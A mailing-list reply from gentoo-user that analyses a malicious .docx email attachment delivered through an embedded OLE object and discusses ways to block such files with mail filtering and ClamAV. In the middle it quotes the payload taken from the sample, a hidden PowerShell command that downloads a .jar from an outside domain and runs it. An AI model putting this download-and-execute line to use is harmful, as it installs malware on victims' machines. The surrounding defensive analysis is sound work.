Re: [gentoo-user] Correct way to fight malicious .doc/.docx/.xls/xlsx/.ppt/.pptx email attachments

[Michael Orlitzky]

On 7/5/19 4:25 PM, Hasan Ç. wrote:
> Sure, i sent you bunch of malicious office attachments.
>

The only one of these that is a "real" office document is Siparis2.docx,
and unfortunately it uses a new(ish) exploit technique. Instead of
placing the code in a macro, the code is embedded in some other OLE
object, and then the document itself is constructed to trick the user
into clicking and running that object:

https://www.microsoft.com/security/blog/2016/06/14/wheres-the-macro-malware-author-are-now-using-ole-embedding-to-deliver-malicious-files/

https://securityriskadvisors.com/blog/the-return-of-ole-exploit-delivery-cve-2018-8174/

In your example, if you extract Siparis2.docx, you'll find two
interesting files,

 * '[Content_Types].xml'
 * 'word/embeddings/oleObject1.bin

The first one contains a bunch of XML and indicates that this document
comes with an embedded OLE object,

 <Types
 xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
 <Default Extension="bin"
 ContentType="application/vnd.openxmlformats-officedocument.oleObject"/>
 ...

The oleObject1.bin contains the actual exploit, if you scroll down:


  --++++++-cmd|'/c powershell -executionpolicy bypass -W Hidden -command
  "& { (new-object
  System.Net.WebClient).DownloadFile(\"http://www.qyhhy.ml\" ,\"
  %tmp%\\6uOyYF.jar\") }" & %tmp%\\6uOyYF.jar'!'C14'63


What all this means, is,

  1. Microsoft is still fucking stupid.
  2. You won't be able to block these by blocking macros.

For these OLE exploits, I only have two ideas:

  1. Block all OLE objects.
  2. Allow OLE objects, and try to catch the bad ones.

The first option will probably cause a lot of false positives, but it
should at least be doable -- for example, by scanning that XML file, and
throwing a fit if anything has the oleObject content type.

The second option, as you've already discovered, doesn't work so great.
You can put anything into an OLE object, so we're back at square one.
Whenever you find a malicious OLE object, you have to submit it to the
antivirus companies and wait for them to create a signature. For us,
that means SaneSecurity and ClamAV, and ClamAV doesn't usually respond
quickly. Nevertheless, you can submit them here:

  https://www.clamav.net/reports/malware

I submitted the oleObject1.bin file above already.

As far as your other files (xls and csv) go... I'm not sure what to
think about those. It looks like they contain junk, but I'm well aware
that Excel will try to open them and probably do something stupid in the
process. But without a copy of Excel and a death wish handy, I don't
know how to troubleshoot further. (Again, you could always submit them
to ClamAV and SaneSecurity.)